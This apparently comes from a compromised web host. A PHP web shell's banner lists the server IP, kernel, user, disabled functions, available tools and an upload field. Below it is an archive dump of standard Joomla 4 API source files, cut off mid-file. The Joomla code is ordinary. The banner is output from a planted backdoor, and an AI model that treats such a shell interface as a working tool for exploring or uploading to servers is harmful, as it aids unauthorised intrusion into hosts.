| Server IP : 46.105.57.169 / Your IP : 216.73.216.67 Web Server : Apache System : Linux webm002.cluster120.gra.hosting.ovh.net 6.18.42-ovh-vps-grsec-zfs+ #1 SMP PREEMPT_DYNAMIC Wed Aug 5 15:59:48 CEST 2026 x86_64 User : verseaumee ( 152031) PHP Version : 8.5.7 Disable Function : _dyuweyrj4,_dyuweyrj4r,dl MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : OFF | Pkexec : OFF Directory : /home/verseaumee/123click/assets/ |
Upload File : |
includes/framework.php 0000604 00000005374 15074673664 0011107 0 ustar 00 <?php
/**
* @package Joomla.API
*
* @copyright (C) 2019 Open Source Matters, Inc. <https://www.joomla.org>
* @license GNU General Public License version 2 or later; see LICENSE.txt
*/
defined('_JEXEC') or die;
use Joomla\CMS\Version;
use Joomla\Utilities\IpHelper;
// System includes
require_once JPATH_LIBRARIES . '/bootstrap.php';
// Installation check, and check on removal of the install directory.
if (!file_exists(JPATH_CONFIGURATION . '/configuration.php')
|| (filesize(JPATH_CONFIGURATION . '/configuration.php') < 10)
|| (file_exists(JPATH_INSTALLATION . '/index.php') && (false === (new Version)->isInDevelopmentState())))
{
if (file_exists(JPATH_INSTALLATION . '/index.php'))
{
header('HTTP/1.1 500 Internal Server Error');
echo json_encode(
array('error' => 'You must install Joomla to use the API')
);
exit();
}
else
{
header('HTTP/1.1 500 Internal Server Error');
echo json_encode(
array('error' => 'No configuration file found and no installation code available. Exiting...')
);
exit;
}
}
// Pre-Load configuration. Don't remove the Output Buffering due to BOM issues, see JCode 26026
ob_start();
require_once JPATH_CONFIGURATION . '/configuration.php';
ob_end_clean();
// System configuration.
$config = new JConfig;
// Set the error_reporting
switch ($config->error_reporting)
{
case 'default':
case '-1':
break;
case 'none':
case '0':
error_reporting(0);
break;
case 'simple':
error_reporting(E_ERROR | E_WARNING | E_PARSE);
ini_set('display_errors', 1);
break;
case 'maximum':
case 'development': // <= Stays for backward compatibility, @TODO: can be removed in 5.0
error_reporting(E_ALL);
ini_set('display_errors', 1);
break;
default:
error_reporting($config->error_reporting);
ini_set('display_errors', 1);
break;
}
define('JDEBUG', $config->debug);
if (JDEBUG || $config->error_reporting === 'maximum')
{
// Set new Exception handler with debug enabled
$errorHandler->setExceptionHandler(
[
new \Symfony\Component\ErrorHandler\ErrorHandler(null, true),
'renderException'
]
);
}
/**
* Correctly set the allowing of IP Overrides if behind a trusted proxy/load balancer.
*
* We need to do this as high up the stack as we can, as the default in \Joomla\Utilities\IpHelper is to
* $allowIpOverride = true which is the wrong default for a generic site NOT behind a trusted proxy/load balancer.
*/
if (property_exists($config, 'behind_loadbalancer') && $config->behind_loadbalancer == 1)
{
// If Joomla is configured to be behind a trusted proxy/load balancer, allow HTTP Headers to override the REMOTE_ADDR
IpHelper::setAllowIpOverrides(true);
}
else
{
// We disable the allowing of IP overriding using headers by default.
IpHelper::setAllowIpOverrides(false);
}
unset($config);
includes/app.php 0000604 00000003432 15074673664 0007663 0 ustar 00 <?php
/**
* @package Joomla.API
*
* @copyright (C) 2019 Open Source Matters, Inc. <https://www.joomla.org>
* @license GNU General Public License version 2 or later; see LICENSE.txt
*/
defined('_JEXEC') or die;
// Saves the start time and memory usage.
$startTime = microtime(1);
$startMem = memory_get_usage();
if (file_exists(dirname(__DIR__) . '/defines.php'))
{
include_once dirname(__DIR__) . '/defines.php';
}
if (!defined('_JDEFINES'))
{
define('JPATH_BASE', dirname(__DIR__));
require_once JPATH_BASE . '/includes/defines.php';
}
require_once JPATH_BASE . '/includes/framework.php';
// Set profiler start time and memory usage and mark afterLoad in the profiler.
JDEBUG ? JProfiler::getInstance('Application')->setStart($startTime, $startMem)->mark('afterLoad') : null;
// Boot the DI container
$container = \Joomla\CMS\Factory::getContainer();
/*
* Alias the session service keys to the web session service as that is the primary session backend for this application
*
* In addition to aliasing "common" service keys, we also create aliases for the PHP classes to ensure autowiring objects
* is supported. This includes aliases for aliased class names, and the keys for aliased class names should be considered
* deprecated to be removed when the class name alias is removed as well.
*/
$container->alias('session', 'session.cli')
->alias('JSession', 'session.cli')
->alias(\Joomla\CMS\Session\Session::class, 'session.cli')
->alias(\Joomla\Session\Session::class, 'session.cli')
->alias(\Joomla\Session\SessionInterface::class, 'session.cli');
// Instantiate the application.
$app = $container->get(\Joomla\CMS\Application\ApiApplication::class);
// Set the application as global app
\Joomla\CMS\Factory::$application = $app;
// Execute the application.
$app->execute();
includes/defines.php 0000604 00000002262 15074673664 0010520 0 ustar 00 <?php
/**
* @package Joomla.API
*
* @copyright (C) 2019 Open Source Matters, Inc. <https://www.joomla.org>
* @license GNU General Public License version 2 or later; see LICENSE.txt
*/
defined('_JEXEC') or die;
// Global definitions
$parts = explode(DIRECTORY_SEPARATOR, JPATH_BASE);
array_pop($parts);
// Defines.
define('JPATH_ROOT', implode(DIRECTORY_SEPARATOR, $parts));
define('JPATH_SITE', JPATH_ROOT);
define('JPATH_CONFIGURATION', JPATH_ROOT);
define('JPATH_ADMINISTRATOR', JPATH_ROOT . DIRECTORY_SEPARATOR . 'administrator');
define('JPATH_LIBRARIES', JPATH_ROOT . DIRECTORY_SEPARATOR . 'libraries');
define('JPATH_PLUGINS', JPATH_ROOT . DIRECTORY_SEPARATOR . 'plugins');
define('JPATH_INSTALLATION', JPATH_ROOT . DIRECTORY_SEPARATOR . 'installation');
define('JPATH_THEMES', JPATH_BASE . DIRECTORY_SEPARATOR . 'templates');
define('JPATH_CACHE', JPATH_ADMINISTRATOR . DIRECTORY_SEPARATOR . 'cache');
define('JPATH_MANIFESTS', JPATH_ADMINISTRATOR . DIRECTORY_SEPARATOR . 'manifests');
define('JPATH_API', JPATH_ROOT . DIRECTORY_SEPARATOR . 'api');
define('JPATH_CLI', JPATH_ROOT . DIRECTORY_SEPARATOR . 'cli');
components/com_modules/src/Controller/ModulesController.php 0000604 00000005477 15074673664 0020371 0 ustar 00 <?php
/**
* @package Joomla.API
* @subpackage com_modules
*
* @copyright (C) 2019 Open Source Matters, Inc. <https://www.joomla.org>
* @license GNU General Public License version 2 or later; see LICENSE.txt
*/
namespace Joomla\Component\Modules\Api\Controller;
\defined('_JEXEC') or die;
use Joomla\CMS\Language\Text;
use Joomla\CMS\MVC\Controller\ApiController;
use Joomla\Component\Modules\Administrator\Model\SelectModel;
use Joomla\Component\Modules\Api\View\Modules\JsonapiView;
/**
* The modules controller
*
* @since 4.0.0
*/
class ModulesController extends ApiController
{
/**
* The content type of the item.
*
* @var string
* @since 4.0.0
*/
protected $contentType = 'modules';
/**
* The default view for the display method.
*
* @var string
* @since 3.0
*/
protected $default_view = 'modules';
/**
* Basic display of an item view
*
* @param integer $id The primary key to display. Leave empty if you want to retrieve data from the request
*
* @return static A \JControllerLegacy object to support chaining.
*
* @since 4.0.0
*/
public function displayItem($id = null)
{
$this->modelState->set('filter.client_id', $this->getClientIdFromInput());
return parent::displayItem($id);
}
/**
* Basic display of a list view
*
* @return static A \JControllerLegacy object to support chaining.
*
* @since 4.0.0
*/
public function displayList()
{
$this->modelState->set('filter.client_id', $this->getClientIdFromInput());
return parent::displayList();
}
/**
* Return module items types
*
* @return static A \JControllerLegacy object to support chaining.
*
* @since 4.0.0
*/
public function getTypes()
{
$viewType = $this->app->getDocument()->getType();
$viewName = $this->input->get('view', $this->default_view);
$viewLayout = $this->input->get('layout', 'default', 'string');
try
{
/** @var JsonapiView $view */
$view = $this->getView(
$viewName,
$viewType,
'',
['base_path' => $this->basePath, 'layout' => $viewLayout, 'contentType' => $this->contentType]
);
}
catch (\Exception $e)
{
throw new \RuntimeException($e->getMessage());
}
/** @var SelectModel $model */
$model = $this->getModel('select', '', ['ignore_request' => true]);
if (!$model)
{
throw new \RuntimeException(Text::_('JLIB_APPLICATION_ERROR_MODEL_CREATE'));
}
$model->setState('client_id', $this->getClientIdFromInput());
$view->setModel($model, true);
$view->document = $this->app->getDocument();
$view->displayListTypes();
return $this;
}
/**
* Get client id from input
*
* @return string
*
* @since 4.0.0
*/
private function getClientIdFromInput()
{
return $this->input->exists('client_id') ?
$this->input->get('client_id') : $this->input->post->get('client_id');
}
}
components/com_modules/src/View/Modules/JsonapiView.php 0000604 00000004736 15074673664 0017347 0 ustar 00 <?php
/**
* @package Joomla.API
* @subpackage com_modules
*
* @copyright (C) 2019 Open Source Matters, Inc. <https://www.joomla.org>
* @license GNU General Public License version 2 or later; see LICENSE.txt
*/
namespace Joomla\Component\Modules\Api\View\Modules;
\defined('_JEXEC') or die;
use Joomla\CMS\MVC\View\JsonApiView as BaseApiView;
use Joomla\CMS\Router\Exception\RouteNotFoundException;
use Joomla\Component\Modules\Administrator\Model\SelectModel;
/**
* The modules view
*
* @since 4.0.0
*/
class JsonapiView extends BaseApiView
{
/**
* The fields to render item in the documents
*
* @var array
* @since 4.0.0
*/
protected $fieldsToRenderItem = [
'id',
'typeAlias',
'asset_id',
'title',
'note',
'content',
'ordering',
'position',
'checked_out',
'checked_out_time',
'publish_up',
'publish_down',
'published',
'module',
'access',
'showtitle',
'params',
'client_id',
'language',
'assigned',
'assignment',
'xml',
];
/**
* The fields to render items in the documents
*
* @var array
* @since 4.0.0
*/
protected $fieldsToRenderList = [
'id',
'title',
'note',
'position',
'module',
'language',
'checked_out',
'checked_out_time',
'published',
'enabled',
'access',
'ordering',
'publish_up',
'publish_down',
'language_title',
'language_image',
'editor',
'access_level',
'pages',
'name',
];
/**
* Execute and display a template script.
*
* @param object $item Item
*
* @return string
*
* @since 4.0.0
*/
public function displayItem($item = null)
{
/** @var \Joomla\CMS\MVC\Model\AdminModel $model */
$model = $this->getModel();
if ($item === null)
{
$item = $this->prepareItem($model->getItem());
}
if ($item->id === null)
{
throw new RouteNotFoundException('Item does not exist');
}
if ((int) $model->getState('client_id') !== $item->client_id)
{
throw new RouteNotFoundException('Item does not exist');
}
return parent::displayItem($item);
}
/**
* Execute and display a list modules types.
*
* @return string
*
* @since 4.0.0
*/
public function displayListTypes()
{
/** @var SelectModel $model */
$model = $this->getModel();
$items = [];
foreach ($model->getItems() as $item)
{
$item->id = $item->extension_id;
unset($item->extension_id);
$items[] = $item;
}
$this->fieldsToRenderList = ['id', 'name', 'module', 'xml', 'desc'];
return parent::displayList($items);
}
}
components/com_templates/src/View/Styles/JsonapiView.php 0000604 00000002503 15074673664 0017536 0 ustar 00 <?php
/**
* @package Joomla.API
* @subpackage com_templates
*
* @copyright (C) 2019 Open Source Matters, Inc. <https://www.joomla.org>
* @license GNU General Public License version 2 or later; see LICENSE.txt
*/
namespace Joomla\Component\Templates\Api\View\Styles;
\defined('_JEXEC') or die;
use Joomla\CMS\MVC\View\JsonApiView as BaseApiView;
use Joomla\CMS\Router\Exception\RouteNotFoundException;
/**
* The styles view
*
* @since 4.0.0
*/
class JsonapiView extends BaseApiView
{
/**
* The fields to render item in the documents
*
* @var array
* @since 4.0.0
*/
protected $fieldsToRenderItem = [
'id',
'template',
'client_id',
'home',
'title',
'params',
'xml',
];
/**
* The fields to render items in the documents
*
* @var array
* @since 4.0.0
*/
protected $fieldsToRenderList = [
'id',
'template',
'title',
'home',
'client_id',
'language_title',
'image',
'language_sef',
'assigned',
'e_id',
];
/**
* Prepare item before render.
*
* @param object $item The model item
*
* @return object
*
* @since 4.0.0
*/
protected function prepareItem($item)
{
if ($item->client_id != $this->getModel()->getState('client_id'))
{
throw new RouteNotFoundException('Item does not exist');
}
return parent::prepareItem($item);
}
}
components/com_templates/src/Controller/StylesController.php 0000604 00000005050 15074673664 0020555 0 ustar 00 <?php
/**
* @package Joomla.API
* @subpackage com_templates
*
* @copyright (C) 2019 Open Source Matters, Inc. <https://www.joomla.org>
* @license GNU General Public License version 2 or later; see LICENSE.txt
*/
namespace Joomla\Component\Templates\Api\Controller;
\defined('_JEXEC') or die;
use Joomla\CMS\MVC\Controller\ApiController;
use Joomla\String\Inflector;
use Tobscure\JsonApi\Exception\InvalidParameterException;
/**
* The styles controller
*
* @since 4.0.0
*/
class StylesController extends ApiController
{
/**
* The content type of the item.
*
* @var string
* @since 4.0.0
*/
protected $contentType = 'styles';
/**
* The default view for the display method.
*
* @var string
* @since 3.0
*/
protected $default_view = 'styles';
/**
* Basic display of an item view
*
* @param integer $id The primary key to display. Leave empty if you want to retrieve data from the request
*
* @return static A \JControllerLegacy object to support chaining.
*
* @since 4.0.0
*/
public function displayItem($id = null)
{
$this->modelState->set('client_id', $this->getClientIdFromInput());
return parent::displayItem($id);
}
/**
* Basic display of a list view
*
* @return static A \JControllerLegacy object to support chaining.
*
* @since 4.0.0
*/
public function displayList()
{
$this->modelState->set('client_id', $this->getClientIdFromInput());
return parent::displayList();
}
/**
* Method to allow extended classes to manipulate the data to be saved for an extension.
*
* @param array $data An array of input data.
*
* @return array
*
* @since 4.0.0
* @throws InvalidParameterException
*/
protected function preprocessSaveData(array $data): array
{
$data['client_id'] = $this->getClientIdFromInput();
// If we are updating an item the template is a readonly property based on the ID
if ($this->input->getMethod() === 'PATCH')
{
if (array_key_exists('template', $data))
{
throw new InvalidParameterException('The template property cannot be modified for an existing style');
}
$model = $this->getModel(Inflector::singularize($this->contentType), '', ['ignore_request' => true]);
$data['template'] = $model->getItem($this->input->getInt('id'))->template;
}
return $data;
}
/**
* Get client id from input
*
* @return string
*
* @since 4.0.0
*/
private function getClientIdFromInput()
{
return $this->input->exists('client_id') ? $this->input->get('client_id') : $this->input->post->get('client_id');
}
}
components/com_content/src/Helper/ContentHelper.php 0000604 00000001316 15074673664 0016551 0 ustar 00 <?php
/**
* @package Joomla.Api
* @subpackage com_content
*
* @copyright (C) 2020 Open Source Matters, Inc. <https://www.joomla.org>
* @license GNU General Public License version 2 or later; see LICENSE.txt
*/
namespace Joomla\Component\Content\Api\Helper;
\defined('_JEXEC') or die;
use Joomla\CMS\Uri\Uri;
/**
* Content api helper.
*
* @since 4.0.0
*/
class ContentHelper
{
/**
* Fully Qualified Domain name for the image url
*
* @param string $uri The uri to resolve
*
* @return string
*/
public static function resolve(string $uri): string
{
// Check if external URL.
if (stripos($uri, 'http') !== 0)
{
return Uri::root() . $uri;
}
return $uri;
}
}
components/com_content/src/View/Articles/JsonapiView.php 0000604 00000011574 15074673664 0017505 0 ustar 00 <?php
/**
* @package Joomla.API
* @subpackage com_content
*
* @copyright (C) 2019 Open Source Matters, Inc. <https://www.joomla.org>
* @license GNU General Public License version 2 or later; see LICENSE.txt
*/
namespace Joomla\Component\Content\Api\View\Articles;
\defined('_JEXEC') or die;
use Joomla\CMS\Factory;
use Joomla\CMS\Language\Multilanguage;
use Joomla\CMS\MVC\View\JsonApiView as BaseApiView;
use Joomla\CMS\Plugin\PluginHelper;
use Joomla\Component\Content\Api\Helper\ContentHelper;
use Joomla\Component\Content\Api\Serializer\ContentSerializer;
use Joomla\Component\Fields\Administrator\Helper\FieldsHelper;
use Joomla\Registry\Registry;
/**
* The article view
*
* @since 4.0.0
*/
class JsonapiView extends BaseApiView
{
/**
* The fields to render item in the documents
*
* @var array
* @since 4.0.0
*/
protected $fieldsToRenderItem = [
'id',
'typeAlias',
'asset_id',
'title',
'text',
'tags',
'language',
'state',
'category',
'images',
'metakey',
'metadesc',
'metadata',
'access',
'featured',
'alias',
'note',
'publish_up',
'publish_down',
'urls',
'created',
'created_by',
'created_by_alias',
'modified',
'modified_by',
'hits',
'version',
'featured_up',
'featured_down',
];
/**
* The fields to render items in the documents
*
* @var array
* @since 4.0.0
*/
protected $fieldsToRenderList = [
'id',
'typeAlias',
'asset_id',
'title',
'text',
'tags',
'language',
'state',
'category',
'images',
'metakey',
'metadesc',
'metadata',
'access',
'featured',
'alias',
'note',
'publish_up',
'publish_down',
'urls',
'created',
'created_by',
'created_by_alias',
'modified',
'hits',
'version',
'featured_up',
'featured_down',
];
/**
* The relationships the item has
*
* @var array
* @since 4.0.0
*/
protected $relationship = [
'category',
'created_by',
'tags',
];
/**
* Constructor.
*
* @param array $config A named configuration array for object construction.
* contentType: the name (optional) of the content type to use for the serialization
*
* @since 4.0.0
*/
public function __construct($config = [])
{
if (array_key_exists('contentType', $config))
{
$this->serializer = new ContentSerializer($config['contentType']);
}
parent::__construct($config);
}
/**
* Execute and display a template script.
*
* @param array|null $items Array of items
*
* @return string
*
* @since 4.0.0
*/
public function displayList(array $items = null)
{
foreach (FieldsHelper::getFields('com_content.article') as $field)
{
$this->fieldsToRenderList[] = $field->name;
}
return parent::displayList();
}
/**
* Execute and display a template script.
*
* @param object $item Item
*
* @return string
*
* @since 4.0.0
*/
public function displayItem($item = null)
{
$this->relationship[] = 'modified_by';
foreach (FieldsHelper::getFields('com_content.article') as $field)
{
$this->fieldsToRenderItem[] = $field->name;
}
if (Multilanguage::isEnabled())
{
$this->fieldsToRenderItem[] = 'languageAssociations';
$this->relationship[] = 'languageAssociations';
}
return parent::displayItem();
}
/**
* Prepare item before render.
*
* @param object $item The model item
*
* @return object
*
* @since 4.0.0
*/
protected function prepareItem($item)
{
$item->text = $item->introtext . ' ' . $item->fulltext;
// Process the content plugins.
PluginHelper::importPlugin('content');
Factory::getApplication()->triggerEvent('onContentPrepare', ['com_content.article', &$item, &$item->params]);
foreach (FieldsHelper::getFields('com_content.article', $item, true) as $field)
{
$item->{$field->name} = isset($field->apivalue) ? $field->apivalue : $field->rawvalue;
}
if (Multilanguage::isEnabled() && !empty($item->associations))
{
$associations = [];
foreach ($item->associations as $language => $association)
{
$itemId = explode(':', $association)[0];
$associations[] = (object) [
'id' => $itemId,
'language' => $language,
];
}
$item->associations = $associations;
}
if (!empty($item->tags->tags))
{
$tagsIds = explode(',', $item->tags->tags);
$tagsNames = $item->tagsHelper->getTagNames($tagsIds);
$item->tags = array_combine($tagsIds, $tagsNames);
}
else
{
$item->tags = [];
}
if (isset($item->images))
{
$registry = new Registry($item->images);
$item->images = $registry->toArray();
if (!empty($item->images['image_intro']))
{
$item->images['image_intro'] = ContentHelper::resolve($item->images['image_intro']);
}
if (!empty($item->images['image_fulltext']))
{
$item->images['image_fulltext'] = ContentHelper::resolve($item->images['image_fulltext']);
}
}
return parent::prepareItem($item);
}
}
components/com_content/src/Serializer/ContentSerializer.php 0000604 00000005007 15074673664 0020336 0 ustar 00 <?php
/**
* Joomla! Content Management System
*
* @copyright (C) 2019 Open Source Matters, Inc. <https://www.joomla.org>
* @license GNU General Public License version 2 or later; see LICENSE.txt
*/
namespace Joomla\Component\Content\Api\Serializer;
\defined('_JEXEC') or die;
use Joomla\CMS\Router\Route;
use Joomla\CMS\Serializer\JoomlaSerializer;
use Joomla\CMS\Uri\Uri;
use Tobscure\JsonApi\Collection;
use Tobscure\JsonApi\Relationship;
use Tobscure\JsonApi\Resource;
/**
* Temporary serializer
*
* @since 4.0.0
*/
class ContentSerializer extends JoomlaSerializer
{
/**
* Build content relationships by associations
*
* @param \stdClass $model Item model
*
* @return Relationship
*
* @since 4.0.0
*/
public function languageAssociations($model)
{
$resources = [];
// TODO: This can't be hardcoded in the future?
$serializer = new JoomlaSerializer($this->type);
foreach ($model->associations as $association)
{
$resources[] = (new Resource($association, $serializer))
->addLink('self', Route::link('site', Uri::root() . 'api/index.php/v1/content/articles/' . $association->id));
}
$collection = new Collection($resources, $serializer);
return new Relationship($collection);
}
/**
* Build category relationship
*
* @param \stdClass $model Item model
*
* @return Relationship
*
* @since 4.0.0
*/
public function category($model)
{
$serializer = new JoomlaSerializer('categories');
$resource = (new Resource($model->catid, $serializer))
->addLink('self', Route::link('site', Uri::root() . 'api/index.php/v1/content/categories/' . $model->catid));
return new Relationship($resource);
}
/**
* Build category relationship
*
* @param \stdClass $model Item model
*
* @return Relationship
*
* @since 4.0.0
*/
public function createdBy($model)
{
$serializer = new JoomlaSerializer('users');
$resource = (new Resource($model->created_by, $serializer))
->addLink('self', Route::link('site', Uri::root() . 'api/index.php/v1/users/' . $model->created_by));
return new Relationship($resource);
}
/**
* Build editor relationship
*
* @param \stdClass $model Item model
*
* @return Relationship
*
* @since 4.0.0
*/
public function modifiedBy($model)
{
$serializer = new JoomlaSerializer('users');
$resource = (new Resource($model->modified_by, $serializer))
->addLink('self', Route::link('site', Uri::root() . 'api/index.php/v1/users/' . $model->modified_by));
return new Relationship($resource);
}
}
components/com_content/src/Controller/ArticlesController.php 0000604 00000004701 15074673664 0020516 0 ustar 00 <?php
/**
* @package Joomla.API
* @subpackage com_content
*
* @copyright (C) 2019 Open Source Matters, Inc. <https://www.joomla.org>
* @license GNU General Public License version 2 or later; see LICENSE.txt
*/
namespace Joomla\Component\Content\Api\Controller;
\defined('_JEXEC') or die;
use Joomla\CMS\Filter\InputFilter;
use Joomla\CMS\MVC\Controller\ApiController;
use Joomla\Component\Fields\Administrator\Helper\FieldsHelper;
/**
* The article controller
*
* @since 4.0.0
*/
class ArticlesController extends ApiController
{
/**
* The content type of the item.
*
* @var string
* @since 4.0.0
*/
protected $contentType = 'articles';
/**
* The default view for the display method.
*
* @var string
* @since 3.0
*/
protected $default_view = 'articles';
/**
* Article list view amended to add filtering of data
*
* @return static A BaseController object to support chaining.
*
* @since 4.0.0
*/
public function displayList()
{
$apiFilterInfo = $this->input->get('filter', [], 'array');
$filter = InputFilter::getInstance();
if (array_key_exists('author', $apiFilterInfo))
{
$this->modelState->set('filter.author_id', $filter->clean($apiFilterInfo['author'], 'INT'));
}
if (array_key_exists('category', $apiFilterInfo))
{
$this->modelState->set('filter.category_id', $filter->clean($apiFilterInfo['category'], 'INT'));
}
if (array_key_exists('search', $apiFilterInfo))
{
$this->modelState->set('filter.search', $filter->clean($apiFilterInfo['search'], 'STRING'));
}
if (array_key_exists('state', $apiFilterInfo))
{
$this->modelState->set('filter.published', $filter->clean($apiFilterInfo['state'], 'INT'));
}
if (array_key_exists('language', $apiFilterInfo))
{
$this->modelState->set('filter.language', $filter->clean($apiFilterInfo['language'], 'STRING'));
}
return parent::displayList();
}
/**
* Method to allow extended classes to manipulate the data to be saved for an extension.
*
* @param array $data An array of input data.
*
* @return array
*
* @since 4.0.0
*/
protected function preprocessSaveData(array $data): array
{
foreach (FieldsHelper::getFields('com_content.article') as $field)
{
if (isset($data[$field->name]))
{
!isset($data['com_fields']) && $data['com_fields'] = [];
$data['com_fields'][$field->name] = $data[$field->name];
unset($data[$field->name]);
}
}
return $data;
}
}
components/com_newsfeeds/src/Serializer/NewsfeedSerializer.php 0000604 00000005121 15074673664 0020772 0 ustar 00 <?php
/**
* Joomla! Content Management System
*
* @copyright (C) 2021 Open Source Matters, Inc. <https://www.joomla.org>
* @license GNU General Public License version 2 or later; see LICENSE.txt
*/
namespace Joomla\Component\Newsfeeds\Api\Serializer;
\defined('_JEXEC') or die;
use Joomla\CMS\Router\Route;
use Joomla\CMS\Serializer\JoomlaSerializer;
use Joomla\CMS\Tag\TagApiSerializerTrait;
use Joomla\CMS\Uri\Uri;
use Tobscure\JsonApi\Collection;
use Tobscure\JsonApi\Relationship;
use Tobscure\JsonApi\Resource;
/**
* Temporary serializer
*
* @since 4.0.0
*/
class NewsfeedSerializer extends JoomlaSerializer
{
use TagApiSerializerTrait;
/**
* Build content relationships by associations
*
* @param \stdClass $model Item model
*
* @return Relationship
*
* @since 4.0.0
*/
public function languageAssociations($model)
{
$resources = [];
// TODO: This can't be hardcoded in the future?
$serializer = new JoomlaSerializer($this->type);
foreach ($model->associations as $association)
{
$resources[] = (new Resource($association, $serializer))
->addLink('self', Route::link('site', Uri::root() . 'api/index.php/v1/newsfeeds/feeds/' . $association->id));
}
$collection = new Collection($resources, $serializer);
return new Relationship($collection);
}
/**
* Build category relationship
*
* @param \stdClass $model Item model
*
* @return Relationship
*
* @since 4.0.0
*/
public function category($model)
{
$serializer = new JoomlaSerializer('categories');
$resource = (new Resource($model->catid, $serializer))
->addLink('self', Route::link('site', Uri::root() . 'api/index.php/v1/newfeeds/categories/' . $model->catid));
return new Relationship($resource);
}
/**
* Build category relationship
*
* @param \stdClass $model Item model
*
* @return Relationship
*
* @since 4.0.0
*/
public function createdBy($model)
{
$serializer = new JoomlaSerializer('users');
$resource = (new Resource($model->created_by, $serializer))
->addLink('self', Route::link('site', Uri::root() . 'api/index.php/v1/users/' . $model->created_by));
return new Relationship($resource);
}
/**
* Build editor relationship
*
* @param \stdClass $model Item model
*
* @return Relationship
*
* @since 4.0.0
*/
public function modifiedBy($model)
{
$serializer = new JoomlaSerializer('users');
$resource = (new Resource($model->modified_by, $serializer))
->addLink('self', Route::link('site', Uri::root() . 'api/index.php/v1/users/' . $model->modified_by));
return new Relationship($resource);
}
}
components/com_newsfeeds/src/View/Feeds/JsonapiView.php 0000604 00000006465 15074673664 0017301 0 ustar 00 <?php
/**
* @package Joomla.API
* @subpackage com_newsfeeds
*
* @copyright (C) 2019 Open Source Matters, Inc. <https://www.joomla.org>
* @license GNU General Public License version 2 or later; see LICENSE.txt
*/
namespace Joomla\Component\Newsfeeds\Api\View\Feeds;
\defined('_JEXEC') or die;
use Joomla\CMS\Language\Multilanguage;
use Joomla\CMS\MVC\View\JsonApiView as BaseApiView;
use Joomla\Component\Newsfeeds\Api\Serializer\NewsfeedSerializer;
/**
* The feeds view
*
* @since 4.0.0
*/
class JsonapiView extends BaseApiView
{
/**
* The fields to render item in the documents
*
* @var array
* @since 4.0.0
*/
protected $fieldsToRenderItem = [
'id',
'category',
'name',
'alias',
'link',
'published',
'numarticles',
'cache_time',
'checked_out',
'checked_out_time',
'ordering',
'rtl',
'access',
'language',
'params',
'created',
'created_by',
'created_by_alias',
'modified',
'modified_by',
'metakey',
'metadesc',
'metadata',
'publish_up',
'publish_down',
'description',
'version',
'hits',
'images',
'tags',
];
/**
* The fields to render items in the documents
*
* @var array
* @since 4.0.0
*/
protected $fieldsToRenderList = [
'id',
'name',
'alias',
'checked_out',
'checked_out_time',
'category',
'numarticles',
'cache_time',
'created_by',
'published',
'access',
'ordering',
'language',
'publish_up',
'publish_down',
'language_title',
'language_image',
'editor',
'access_level',
'category_title',
];
/**
* The relationships the item has
*
* @var array
* @since 4.0.0
*/
protected $relationship = [
'category',
'created_by',
'modified_by',
'tags',
];
/**
* Constructor.
*
* @param array $config A named configuration array for object construction.
* contentType: the name (optional) of the content type to use for the serialization
*
* @since 4.0.0
*/
public function __construct($config = [])
{
if (array_key_exists('contentType', $config))
{
$this->serializer = new NewsfeedSerializer($config['contentType']);
}
parent::__construct($config);
}
/**
* Execute and display a template script.
*
* @param object $item Item
*
* @return string
*
* @since 4.0.0
*/
public function displayItem($item = null)
{
if (Multilanguage::isEnabled())
{
$this->fieldsToRenderItem[] = 'languageAssociations';
$this->relationship[] = 'languageAssociations';
}
return parent::displayItem();
}
/**
* Prepare item before render.
*
* @param object $item The model item
*
* @return object
*
* @since 4.0.0
*/
protected function prepareItem($item)
{
if (Multilanguage::isEnabled() && !empty($item->associations))
{
$associations = [];
foreach ($item->associations as $language => $association)
{
$itemId = explode(':', $association)[0];
$associations[] = (object) [
'id' => $itemId,
'language' => $language,
];
}
$item->associations = $associations;
}
if (!empty($item->tags->tags))
{
$tagsIds = explode(',', $item->tags->tags);
$tagsNames = $item->tagsHelper->getTagNames($tagsIds);
$item->tags = array_combine($tagsIds, $tagsNames);
}
else
{
$item->tags = [];
}
return parent::prepareItem($item);
}
}
components/com_newsfeeds/src/Controller/FeedsController.php 0000604 00000001311 15074673664 0020301 0 ustar 00 <?php
/**
* @package Joomla.API
* @subpackage com_newsfeeds
*
* @copyright (C) 2019 Open Source Matters, Inc. <https://www.joomla.org>
* @license GNU General Public License version 2 or later; see LICENSE.txt
*/
namespace Joomla\Component\Newsfeeds\Api\Controller;
\defined('_JEXEC') or die;
use Joomla\CMS\MVC\Controller\ApiController;
/**
* The feeds controller
*
* @since 4.0.0
*/
class FeedsController extends ApiController
{
/**
* The content type of the item.
*
* @var string
* @since 4.0.0
*/
protected $contentType = 'newsfeeds';
/**
* The default view for the display method.
*
* @var string
* @since 3.0
*/
protected $default_view = 'feeds';
}
components/com_categories/src/Controller/CategoriesController.php 0000604 00000004337 15074673664 0021515 0 ustar 00 <?php
/**
* @package Joomla.API
* @subpackage com_categories
*
* @copyright (C) 2019 Open Source Matters, Inc. <https://www.joomla.org>
* @license GNU General Public License version 2 or later; see LICENSE.txt
*/
namespace Joomla\Component\Categories\Api\Controller;
\defined('_JEXEC') or die;
use Joomla\CMS\MVC\Controller\ApiController;
/**
* The categories controller
*
* @since 4.0.0
*/
class CategoriesController extends ApiController
{
/**
* The content type of the item.
*
* @var string
* @since 4.0.0
*/
protected $contentType = 'categories';
/**
* The default view for the display method.
*
* @var string
* @since 3.0
*/
protected $default_view = 'categories';
/**
* Method to allow extended classes to manipulate the data to be saved for an extension.
*
* @param array $data An array of input data.
*
* @return array
*
* @since 4.0.0
*/
protected function preprocessSaveData(array $data): array
{
$extension = $this->getExtensionFromInput();
$data['extension'] = $extension;
// TODO: This is a hack to drop the extension into the global input object - to satisfy how state is built
// we should be able to improve this in the future
$this->input->set('extension', $extension);
return $data;
}
/**
* Basic display of an item view
*
* @param integer $id The primary key to display. Leave empty if you want to retrieve data from the request
*
* @return static A \JControllerLegacy object to support chaining.
*
* @since 4.0.0
*/
public function displayItem($id = null)
{
$this->modelState->set('filter.extension', $this->getExtensionFromInput());
return parent::displayItem($id);
}
/**
* Basic display of a list view
*
* @return static A \JControllerLegacy object to support chaining.
*
* @since 4.0.0
*/
public function displayList()
{
$this->modelState->set('filter.extension', $this->getExtensionFromInput());
return parent::displayList();
}
/**
* Get extension from input
*
* @return string
*
* @since 4.0.0
*/
private function getExtensionFromInput()
{
return $this->input->exists('extension') ?
$this->input->get('extension') : $this->input->post->get('extension');
}
}
components/com_categories/src/View/Categories/JsonapiView.php 0000604 00000006046 15074673664 0020475 0 ustar 00 <?php
/**
